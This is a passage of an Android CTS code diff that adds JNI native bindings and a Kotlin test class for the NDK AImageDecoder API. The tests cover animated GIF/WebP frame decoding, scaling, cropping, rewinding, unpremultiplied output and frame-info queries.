+        deleteDecoder(env, nullptr, decoder);
+        closeAsset(env, nullptr, asset);
+    }
+    {
+        ARect rect = AImageDecoderFrameInfo_getFrameRect(nullptr);
+        ASSERT_EQ(0, rect.left);
+        ASSERT_EQ(0, rect.top);
+        ASSERT_EQ(0, rect.right);
+        ASSERT_EQ(0, rect.bottom);
+    }
+
+    ASSERT_EQ(0, AImageDecoderFrameInfo_getDuration(nullptr));
+    ASSERT_FALSE(AImageDecoderFrameInfo_hasAlphaWithinBounds(nullptr));
+    ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, AImageDecoderFrameInfo_getDisposeOp(nullptr));
+    ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, AImageDecoderFrameInfo_getBlendOp(nullptr));
+#pragma clang diagnostic pop
+}
+
+static jlong getDuration(JNIEnv*, jobject, jlong frameInfo) {
+    return AImageDecoderFrameInfo_getDuration(reinterpret_cast<AImageDecoderFrameInfo*>(frameInfo));
+}
+
+static void testGetFrameRect(JNIEnv* env, jobject, jlong jFrameInfo, jint expectedLeft,
+                             jint expectedTop, jint expectedRight, jint expectedBottom) {
+    auto* frameInfo = reinterpret_cast<AImageDecoderFrameInfo*>(jFrameInfo);
+    ARect rect = AImageDecoderFrameInfo_getFrameRect(frameInfo);
+    if (rect.left != expectedLeft || rect.top != expectedTop || rect.right != expectedRight
+        || rect.bottom != expectedBottom) {
+        fail(env, "Mismatched frame rect! Expected: %i %i %i %i Actual: %i %i %i %i", expectedLeft,
+             expectedTop, expectedRight, expectedBottom, rect.left, rect.top, rect.right,
+             rect.bottom);
+    }
+}
+
+static jboolean getFrameAlpha(JNIEnv*, jobject, jlong frameInfo) {
+    return AImageDecoderFrameInfo_hasAlphaWithinBounds(
+            reinterpret_cast<AImageDecoderFrameInfo*>(frameInfo));
+}
+
+static jboolean getAlpha(JNIEnv*, jobject, jlong decoder) {
+    const auto* info = AImageDecoder_getHeaderInfo(reinterpret_cast<AImageDecoder*>(decoder));
+    return AImageDecoderHeaderInfo_getAlphaFlags(info) != ANDROID_BITMAP_FLAGS_ALPHA_OPAQUE;
+}
+
+static jint getDisposeOp(JNIEnv*, jobject, jlong frameInfo) {
+    return AImageDecoderFrameInfo_getDisposeOp(
+            reinterpret_cast<AImageDecoderFrameInfo*>(frameInfo));
+}
+
+static jint getBlendOp(JNIEnv*, jobject, jlong frameInfo) {
+    return AImageDecoderFrameInfo_getBlendOp(
+            reinterpret_cast<AImageDecoderFrameInfo*>(frameInfo));
+}
+
+static jint getRepeatCount(JNIEnv*, jobject, jlong decoder) {
+    return AImageDecoder_getRepeatCount(reinterpret_cast<AImageDecoder*>(decoder));
+}
+
+static void setHandleDisposePrevious(JNIEnv*, jobject, jlong decoder, jboolean handle) {
+    AImageDecoder_setInternallyHandleDisposePrevious(reinterpret_cast<AImageDecoder*>(decoder),
+                                                     handle);
+}
+
+#define ASSET_MANAGER "Landroid/content/res/AssetManager;"
+#define STRING "Ljava/lang/String;"
+#define BITMAP "Landroid/graphics/Bitmap;"
+
+static JNINativeMethod gMethods[] = {
+    { "nTestNullDecoder", "()V", (void*) testNullDecoder },
+    { "nTestToString", "()V", (void*) testToString },
+    { "nOpenAsset", "(" ASSET_MANAGER STRING ")J", (void*) openAsset },
+    { "nCloseAsset", "(J)V", (void*) closeAsset },
+    { "nCreateFromAsset", "(J)J", (void*) createFromAsset },
+    { "nGetWidth", "(J)I", (void*) getWidth },
+    { "nGetHeight", "(J)I", (void*) getHeight },
+    { "nDeleteDecoder", "(J)V", (void*) deleteDecoder },
+    { "nSetTargetSize", "(JII)I", (void*) setTargetSize },
+    { "nSetCrop", "(JIIII)I", (void*) setCrop },
+    { "nDecode", "(J" BITMAP "I)V", (void*) decode },
+    { "nAdvanceFrame", "(J)I", (void*) advanceFrame },
+    { "nRewind", "(J)I", (void*) rewind_decoder },
+    { "nSetUnpremultipliedRequired", "(JZ)I", (void*) setUnpremultipliedRequired },
+    { "nSetAndroidBitmapFormat", "(JI)I", (void*) setAndroidBitmapFormat },
+    { "nSetDataSpace", "(JI)I", (void*) setDataSpace },
+    { "nCreateFrameInfo", "()J", (void*) createFrameInfo },
+    { "nDeleteFrameInfo", "(J)V", (void*) deleteFrameInfo },
+    { "nGetFrameInfo", "(JJ)I", (void*) getFrameInfo },
+    { "nTestNullFrameInfo", "(" ASSET_MANAGER STRING ")V", (void*) testNullFrameInfo },
+    { "nGetDuration", "(J)J", (void*) getDuration },
+    { "nTestGetFrameRect", "(JIIII)V", (void*) testGetFrameRect },
+    { "nGetFrameAlpha", "(J)Z", (void*) getFrameAlpha },
+    { "nGetAlpha", "(J)Z", (void*) getAlpha },
+    { "nGetDisposeOp", "(J)I", (void*) getDisposeOp },
+    { "nGetBlendOp", "(J)I", (void*) getBlendOp },
+    { "nGetRepeatCount", "(J)I", (void*) getRepeatCount },
+    { "nSetHandleDisposePrevious", "(JZ)V", (void*) setHandleDisposePrevious },
+};
+
+int register_android_uirendering_cts_AImageDecoderTest(JNIEnv* env) {
+    jclass clazz = env->FindClass("android/uirendering/cts/testclasses/AImageDecoderTest");
+    return env->RegisterNatives(clazz, gMethods,
+            sizeof(gMethods) / sizeof(JNINativeMethod));
+}
+
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AImageDecoderTest.kt b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AImageDecoderTest.kt
new file mode 100644
index 0000000..8cd8cf7
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AImageDecoderTest.kt
@@ -0,0 +1,953 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses
+
+import androidx.test.InstrumentationRegistry
+
+import android.content.res.AssetManager
+import android.graphics.Bitmap
+import android.graphics.Color
+import android.graphics.ImageDecoder
+import android.graphics.Rect
+import android.uirendering.cts.bitmapcomparers.MSSIMComparer
+import android.uirendering.cts.bitmapverifiers.BitmapVerifier
+import android.uirendering.cts.bitmapverifiers.ColorVerifier
+import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier
+import android.uirendering.cts.bitmapverifiers.RectVerifier
+import android.uirendering.cts.bitmapverifiers.RegionVerifier
+import junitparams.JUnitParamsRunner
+import junitparams.Parameters
+import org.junit.Test
+import org.junit.runner.RunWith
+import kotlin.test.assertEquals
+import kotlin.test.assertTrue
+import kotlin.test.fail
+
+@RunWith(JUnitParamsRunner::class)
+class AImageDecoderTest {
+    init {
+        System.loadLibrary("ctsuirendering_jni")
+    }
+
+    private val ANDROID_IMAGE_DECODER_SUCCESS = 0
+    private val ANDROID_IMAGE_DECODER_INVALID_CONVERSION = -3
+    private val ANDROID_IMAGE_DECODER_INVALID_SCALE = -4
+    private val ANDROID_IMAGE_DECODER_BAD_PARAMETER = -5
+    private val ANDROID_IMAGE_DECODER_FINISHED = -10
+    private val ANDROID_IMAGE_DECODER_INVALID_STATE = -11
+
+    private fun getAssets(): AssetManager {
+        return InstrumentationRegistry.getTargetContext().getAssets()
+    }
+
+    @Test
+    fun testNullDecoder() = nTestNullDecoder()
+
+    @Test
+    fun testToString() = nTestToString()
+
+    private enum class Crop {
+        Top,    // Crop a section of the image that contains the top
+        Left,   // Crop a section of the image that contains the left
+        None,
+    }
+
+    /**
+     * Helper class to decode a scaled, cropped image to compare to AImageDecoder.
+     *
+     * Includes properties for getting the right scale and crop values to use in
+     * AImageDecoder.
+     */
+    private inner class DecodeAndCropper constructor(
+        image: String,
+        scale: Float,
+        crop: Crop
+    ) {
+        val bitmap: Bitmap
+        var targetWidth: Int = 0
+            private set
+        var targetHeight: Int = 0
+            private set
+        val cropRect: Rect?
+
+        init {
+            val source = ImageDecoder.createSource(getAssets(), image)
+            val tmpBm = ImageDecoder.decodeBitmap(source) {
+                decoder, info, _ ->
+                    decoder.allocator = ImageDecoder.ALLOCATOR_SOFTWARE
+                    if (scale == 1.0f) {
+                        targetWidth = info.size.width
+                        targetHeight = info.size.height
+                    } else {
+                        targetWidth = (info.size.width * scale).toInt()
+                        targetHeight = (info.size.height * scale).toInt()
+                        decoder.setTargetSize(targetWidth, targetHeight)
+                    }
+            }
+            cropRect = when (crop) {
+                Crop.Top -> Rect((targetWidth / 3.0f).toInt(), 0,
+                        (targetWidth * 2 / 3.0f).toInt(),
+                        (targetHeight / 2.0f).toInt())
+                Crop.Left -> Rect(0, (targetHeight / 3.0f).toInt(),
+                        (targetWidth / 2.0f).toInt(),
+                        (targetHeight * 2 / 3.0f).toInt())
+                Crop.None -> null
+            }
+            if (cropRect == null) {
+                bitmap = tmpBm
+            } else {
+                // Crop using Bitmap, rather than ImageDecoder, because it uses
+                // the same code as AImageDecoder for cropping.
+                bitmap = Bitmap.createBitmap(tmpBm, cropRect.left, cropRect.top,
+                        cropRect.width(), cropRect.height())
+                if (bitmap !== tmpBm) {
+                    tmpBm.recycle()
+                }
+            }
+        }
+    }
+
+    // Create a Bitmap with the same size and colorspace as bitmap.
+    private fun makeEmptyBitmap(bitmap: Bitmap) = Bitmap.createBitmap(bitmap.width, bitmap.height,
+                bitmap.config, true, bitmap.colorSpace!!)
+
+    private fun setCrop(decoder: Long, rect: Rect): Int = with(rect) {
+        nSetCrop(decoder, left, top, right, bottom)
+    }
+
+    /**
+     * Test that all frames in the image look as expected.
+     *
+     * @param image Name of the animated image file.
+     * @param frameName Template for creating the name of the expected image
+     *                  file for the i'th frame.
+     * @param numFrames Total number of frames in the animated image.
+     * @param scaleFactor The factor by which to scale the image.
+     * @param crop The crop setting to use.
+     * @param mssimThreshold The minimum MSSIM value to accept as similar. Some
+     *                       images do not match exactly, but they've been
+     *                       manually verified to look the same.
+     */
+    private fun decodeAndCropFrames(
+        image: String,
+        frameName: String,
+        numFrames: Int,
+        scaleFactor: Float,
+        crop: Crop,
+        mssimThreshold: Double
+    ) {
+        val decodeAndCropper = DecodeAndCropper(image, scaleFactor, crop)
+        var expectedBm = decodeAndCropper.bitmap
+
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        if (scaleFactor != 1.0f) {
+            with(decodeAndCropper) {
+                assertEquals(nSetTargetSize(decoder, targetWidth, targetHeight),
+                        ANDROID_IMAGE_DECODER_SUCCESS)
+            }
+        }
+        with(decodeAndCropper.cropRect) {
+            this?.let {
+                assertEquals(setCrop(decoder, this), ANDROID_IMAGE_DECODER_SUCCESS)
+            }
+        }
+
+        val testBm = makeEmptyBitmap(decodeAndCropper.bitmap)
+
+        var i = 0
+        while (true) {
+            nDecode(decoder, testBm, ANDROID_IMAGE_DECODER_SUCCESS)
+            val verifier = GoldenImageVerifier(expectedBm, MSSIMComparer(mssimThreshold))
+            assertTrue(verifier.verify(testBm), "$image has mismatch in frame $i")
+            expectedBm.recycle()
+
+            i++
+            when (val result = nAdvanceFrame(decoder)) {
+                ANDROID_IMAGE_DECODER_SUCCESS -> {
+                    assertTrue(i < numFrames, "Unexpected frame $i in $image")
+                    expectedBm = DecodeAndCropper(frameName.format(i), scaleFactor, crop).bitmap
+                }
+                ANDROID_IMAGE_DECODER_FINISHED -> {
+                    assertEquals(i, numFrames, "Expected $numFrames frames in $image; found $i")
+                    break
+                }
+                else -> fail("Unexpected error $result when advancing $image to frame $i")
+            }
+        }
+
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    fun animationsAndFrames() = arrayOf(
+        arrayOf<Any>("animated.gif", "animated_%03d.gif", 4),
+        arrayOf<Any>("animated_webp.webp", "animated_%03d.gif", 4),
+        arrayOf<Any>("required_gif.gif", "required_%03d.png", 7),
+        arrayOf<Any>("required_webp.webp", "required_%03d.png", 7),
+        arrayOf<Any>("alphabetAnim.gif", "alphabetAnim_%03d.png", 13),
+        arrayOf<Any>("blendBG.webp", "blendBG_%03d.png", 7),
+        arrayOf<Any>("stoplight.webp", "stoplight_%03d.png", 3)
+    )
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFrames(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, 1.0f, Crop.None, .955)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesScaleDown(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, .5f, Crop.None, .749)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesScaleDown2(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, .75f, Crop.None, .749)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesScaleUp(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, 2.0f, Crop.None, .875)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesAndCropTop(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, 1.0f, Crop.Top, .934)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesAndCropTopScaleDown(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, .5f, Crop.Top, .749)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesAndCropTopScaleDown2(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, .75f, Crop.Top, .749)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesAndCropTopScaleUp(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, 3.0f, Crop.Top, .908)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesAndCropLeft(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, 1.0f, Crop.Left, .924)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesAndCropLeftScaleDown(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, .5f, Crop.Left, .596)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesAndCropLeftScaleDown2(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, .75f, Crop.Left, .596)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesAndCropLeftScaleUp(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, 3.0f, Crop.Left, .894)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testRewind(image: String, unused: String, numFrames: Int) {
+        val frame0 = with(ImageDecoder.createSource(getAssets(), image)) {
+            ImageDecoder.decodeBitmap(this) {
+                decoder, _, _ ->
+                    decoder.allocator = ImageDecoder.ALLOCATOR_SOFTWARE
+            }
+        }
+
+        // Regardless of the current frame, calling rewind and decoding should
+        // look like frame_0.
+        for (framesBeforeReset in 0 until numFrames) {
+            val asset = nOpenAsset(getAssets(), image)
+            val decoder = nCreateFromAsset(asset)
+            val testBm = makeEmptyBitmap(frame0)
+            for (i in 1..framesBeforeReset) {
+                nDecode(decoder, testBm, ANDROID_IMAGE_DECODER_SUCCESS)
+                assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nAdvanceFrame(decoder))
+            }
+
+            assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nRewind(decoder))
+            nDecode(decoder, testBm, ANDROID_IMAGE_DECODER_SUCCESS)
+
+            val verifier = GoldenImageVerifier(frame0, MSSIMComparer(1.0))
+            assertTrue(verifier.verify(testBm), "Mismatch in $image after " +
+                        "decoding $framesBeforeReset and then rewinding!")
+
+            nDeleteDecoder(decoder)
+            nCloseAsset(asset)
+        }
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeReturnsFinishedAtEnd(image: String, unused: String, numFrames: Int) {
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        for (i in 0 until (numFrames - 1)) {
+            assertEquals(nAdvanceFrame(decoder), ANDROID_IMAGE_DECODER_SUCCESS)
+        }
+
+        assertEquals(nAdvanceFrame(decoder), ANDROID_IMAGE_DECODER_FINISHED)
+
+        // Create a Bitmap to decode into and verify that no decoding occurred.
+        val width = nGetWidth(decoder)
+        val height = nGetHeight(decoder)
+        val bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888, true)
+        nDecode(decoder, bitmap, ANDROID_IMAGE_DECODER_FINISHED)
+
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+
+        // Every pixel should be transparent black, as no decoding happened.
+        assertTrue(ColorVerifier(0, 0).verify(bitmap))
+        bitmap.recycle()
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testAdvanceReturnsFinishedAtEnd(image: String, unused: String, numFrames: Int) {
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        for (i in 0 until (numFrames - 1)) {
+            assertEquals(nAdvanceFrame(decoder), ANDROID_IMAGE_DECODER_SUCCESS)
+        }
+
+        for (i in 0..1000) {
+            assertEquals(nAdvanceFrame(decoder), ANDROID_IMAGE_DECODER_FINISHED)
+        }
+
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    fun nonAnimatedAssets() = arrayOf(
+        "blue-16bit-prophoto.png", "green-p3.png", "linear-rgba16f.png", "orange-prophotorgb.png",
+        "animated_001.gif", "animated_002.gif", "sunset1.jpg"
+    )
+
+    @Test
+    @Parameters(method = "nonAnimatedAssets")
+    fun testAdvanceFrameFailsNonAnimated(image: String) {
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        assertEquals(ANDROID_IMAGE_DECODER_BAD_PARAMETER, nAdvanceFrame(decoder))
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    @Test
+    @Parameters(method = "nonAnimatedAssets")
+    fun testRewindFailsNonAnimated(image: String) {
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        assertEquals(ANDROID_IMAGE_DECODER_BAD_PARAMETER, nRewind(decoder))
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    fun imagesAndSetters(): ArrayList<Any> {
+        val setters = arrayOf<(Long) -> Int>(
+            { decoder -> nSetUnpremultipliedRequired(decoder, true) },
+            { decoder ->
+                val rect = Rect(0, 0, nGetWidth(decoder) / 2, nGetHeight(decoder) / 2)
+                setCrop(decoder, rect)
+            },
+            { decoder ->
+                val ANDROID_BITMAP_FORMAT_RGBA_F16 = 9
+                nSetAndroidBitmapFormat(decoder, ANDROID_BITMAP_FORMAT_RGBA_F16)
+            },
+            { decoder ->
+                nSetTargetSize(decoder, nGetWidth(decoder) / 2, nGetHeight(decoder) / 2)
+            },
+            { decoder ->
+                val ADATASPACE_DISPLAY_P3 = 143261696
+                nSetDataSpace(decoder, ADATASPACE_DISPLAY_P3)
+            }
+        )
+        val list = ArrayList<Any>()
+        for (animations in animationsAndFrames()) {
+            for (setter in setters) {
+                list.add(arrayOf(animations[0], animations[2], setter))
+            }
+        }
+        return list
+    }
+
+    @Test
+    @Parameters(method = "imagesAndSetters")
+    fun testSettersFailOnLatterFrames(image: String, numFrames: Int, setter: (Long) -> Int) {
+        // Verify that the setter succeeds on the first frame.
+        with(nOpenAsset(getAssets(), image)) {
+            val decoder = nCreateFromAsset(this)
+            assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, setter(decoder))
+            nDeleteDecoder(decoder)
+            nCloseAsset(this)
+        }
+
+        for (framesBeforeSet in 1 until numFrames) {
+            val asset = nOpenAsset(getAssets(), image)
+            val decoder = nCreateFromAsset(asset)
+            for (i in 1..framesBeforeSet) {
+                assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nAdvanceFrame(decoder))
+            }
+
+            // Not on the first frame, so the setter fails.
+            assertEquals(ANDROID_IMAGE_DECODER_INVALID_STATE, setter(decoder))
+
+            // Rewind to the beginning. Now the setter can succeed.
+            assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nRewind(decoder))
+            assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, setter(decoder))
+
+            nDeleteDecoder(decoder)
+            nCloseAsset(asset)
+        }
+    }
+
+    fun unpremulTestFiles() = arrayOf(
+        "alphabetAnim.gif", "animated_webp.webp", "stoplight.webp"
+    )
+
+    @Test
+    @Parameters(method = "unpremulTestFiles")
+    fun testUnpremul(image: String) {
+        val expectedBm = with(ImageDecoder.createSource(getAssets(), image)) {
+            ImageDecoder.decodeBitmap(this) {
+                decoder, _, _ ->
+                    decoder.allocator = ImageDecoder.ALLOCATOR_SOFTWARE
+                    decoder.setUnpremultipliedRequired(true)
+            }
+        }
+
+        val testBm = makeEmptyBitmap(expectedBm)
+
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nSetUnpremultipliedRequired(decoder, true))
+        nDecode(decoder, testBm, ANDROID_IMAGE_DECODER_SUCCESS)
+
+        val verifier = GoldenImageVerifier(expectedBm, MSSIMComparer(1.0))
+        assertTrue(verifier.verify(testBm), "$image did not match in unpremul")
+
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    fun imagesWithAlpha() = arrayOf(
+        "alphabetAnim.gif",
+        "animated_webp.webp",
+        "animated.gif"
+    )
+
+    @Test
+    @Parameters(method = "imagesWithAlpha")
+    fun testUnpremulThenScaleFailsWithAlpha(image: String) {
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        val width = nGetWidth(decoder)
+        val height = nGetHeight(decoder)
+
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nSetUnpremultipliedRequired(decoder, true))
+        assertEquals(ANDROID_IMAGE_DECODER_INVALID_SCALE,
+                nSetTargetSize(decoder, width * 2, height * 2))
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    @Test
+    @Parameters(method = "imagesWithAlpha")
+    fun testScaleThenUnpremulFailsWithAlpha(image: String) {
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        val width = nGetWidth(decoder)
+        val height = nGetHeight(decoder)
+
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS,
+                nSetTargetSize(decoder, width * 2, height * 2))
+        assertEquals(ANDROID_IMAGE_DECODER_INVALID_CONVERSION,
+                nSetUnpremultipliedRequired(decoder, true))
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    fun opaquePlusScale(): ArrayList<Any> {
+        val opaqueImages = arrayOf("sunset1.jpg", "blendBG.webp", "stoplight.webp")
+        val scales = arrayOf(.5f, .75f, 2.0f)
+        val list = ArrayList<Any>()
+        for (image in opaqueImages) {
+            for (scale in scales) {
+                list.add(arrayOf(image, scale))
+            }
+        }
+        return list
+    }
+
+    @Test
+    @Parameters(method = "opaquePlusScale")
+    fun testUnpremulPlusScaleOpaque(image: String, scale: Float) {
+        val expectedBm = with(ImageDecoder.createSource(getAssets(), image)) {
+            ImageDecoder.decodeBitmap(this) {
+                decoder, info, _ ->
+                    decoder.isUnpremultipliedRequired = true
+                    decoder.allocator = ImageDecoder.ALLOCATOR_SOFTWARE
+                    val width = (info.size.width * scale).toInt()
+                    val height = (info.size.height * scale).toInt()
+                    decoder.setTargetSize(width, height)
+            }
+        }
+        val verifier = GoldenImageVerifier(expectedBm, MSSIMComparer(1.0))
+
+        // Flipping the order of setting unpremul and scaling results in taking
+        // a different code path. Ensure both succeed.
+        val ops = listOf(
+            { decoder: Long -> nSetUnpremultipliedRequired(decoder, true) },
+            { decoder: Long -> nSetTargetSize(decoder, expectedBm.width, expectedBm.height) }
+        )
+
+        for (order in setOf(ops, ops.asReversed())) {
+            val testBm = makeEmptyBitmap(expectedBm)
+            val asset = nOpenAsset(getAssets(), image)
+            val decoder = nCreateFromAsset(asset)
+            for (op in order) {
+                assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, op(decoder))
+            }
+            nDecode(decoder, testBm, ANDROID_IMAGE_DECODER_SUCCESS)
+            assertTrue(verifier.verify(testBm))
+
+            nDeleteDecoder(decoder)
+            nCloseAsset(asset)
+            testBm.recycle()
+        }
+        expectedBm.recycle()
+    }
+
+    @Test
+    fun testUnpremulPlusScaleWithFrameWithAlpha() {
+        // The first frame of this image is opaque, so unpremul + scale succeeds.
+        // But frame 3 has alpha, so decoding it with unpremul + scale fails.
+        val image = "blendBG.webp"
+        val scale = 2.0f
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        val width = (nGetWidth(decoder) * scale).toInt()
+        val height = (nGetHeight(decoder) * scale).toInt()
+
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nSetUnpremultipliedRequired(decoder, true))
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nSetTargetSize(decoder, width, height))
+
+        val testBm = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888, true)
+        for (i in 0 until 3) {
+            nDecode(decoder, testBm, ANDROID_IMAGE_DECODER_SUCCESS)
+            assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nAdvanceFrame(decoder))
+        }
+        nDecode(decoder, testBm, ANDROID_IMAGE_DECODER_INVALID_SCALE)
+
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    @Test
+    @Parameters(method = "nonAnimatedAssets")
+    fun testGetFrameInfoSucceedsNonAnimated(image: String) {
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        val frameInfo = nCreateFrameInfo()
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nGetFrameInfo(decoder, frameInfo))
+
+        if (image.startsWith("animated")) {
+            // Although these images have only one frame, they still contain encoded frame info.
+            val ANDROID_IMAGE_DECODER_INFINITE = Integer.MAX_VALUE
+            assertEquals(ANDROID_IMAGE_DECODER_INFINITE, nGetRepeatCount(decoder))
+            assertEquals(250_000_000L, nGetDuration(frameInfo))
+            assertEquals(ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND, nGetDisposeOp(frameInfo))
+        } else {
+            // Since these are not animated and have no encoded frame info, they should use
+            // defaults.
+            assertEquals(0, nGetRepeatCount(decoder))
+            assertEquals(0L, nGetDuration(frameInfo))
+            assertEquals(ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE, nGetDisposeOp(frameInfo))
+        }
+
+        nTestGetFrameRect(frameInfo, 0, 0, nGetWidth(decoder), nGetHeight(decoder))
+        if (image.endsWith("gif")) {
+            // GIFs do not support SRC, so they always report SRC_OVER.
+            assertEquals(ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER, nGetBlendOp(frameInfo))
+        } else {
+            assertEquals(ANDROID_IMAGE_DECODER_BLEND_OP_SRC, nGetBlendOp(frameInfo))
+        }
+        assertEquals(nGetAlpha(decoder), nGetFrameAlpha(frameInfo))
+
+        nDeleteFrameInfo(frameInfo)
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    @Test
+    fun testNullFrameInfo() = nTestNullFrameInfo(getAssets(), "animated.gif")
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testGetFrameInfo(image: String, frameName: String, numFrames: Int) {
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        val frameInfo = nCreateFrameInfo()
+        for (i in 0 until numFrames) {
+            assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nGetFrameInfo(decoder, frameInfo))
+            val result = nAdvanceFrame(decoder)
+            val expectedResult = if (i == numFrames - 1) ANDROID_IMAGE_DECODER_FINISHED
+                                 else ANDROID_IMAGE_DECODER_SUCCESS
+            assertEquals(expectedResult, result)
+        }
+
+        assertEquals(ANDROID_IMAGE_DECODER_FINISHED, nGetFrameInfo(decoder, frameInfo))
+
+        nDeleteFrameInfo(frameInfo)
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    fun animationsAndDurations() = arrayOf(
+        arrayOf<Any>("animated.gif", LongArray(4) { 250_000_000 }),
+        arrayOf<Any>("animated_webp.webp", LongArray(4) { 250_000_000 }),
+        arrayOf<Any>("required_gif.gif", LongArray(7) { 100_000_000 }),
+        arrayOf<Any>("required_webp.webp", LongArray(7) { 100_000_000 }),
+        arrayOf<Any>("alphabetAnim.gif", LongArray(13) { 100_000_000 }),
+        arrayOf<Any>("blendBG.webp", longArrayOf(525_000_000, 500_000_000,
+                525_000_000, 437_000_000, 609_000_000, 729_000_000, 444_000_000)),
+        arrayOf<Any>("stoplight.webp", longArrayOf(1_000_000_000, 500_000_000,
+                                                    1_000_000_000))
+    )
+
+    @Test
+    @Parameters(method = "animationsAndDurations")
+    fun testDurations(image: String, durations: LongArray) = testFrameInfo(image) {
+        frameInfo, i ->
+            assertEquals(durations[i], nGetDuration(frameInfo))
+    }
+
+    /**
+     * Iterate through all frames and call a lambda that tests an individual frame's info.
+     *
+     * @param image Name of the image asset to test
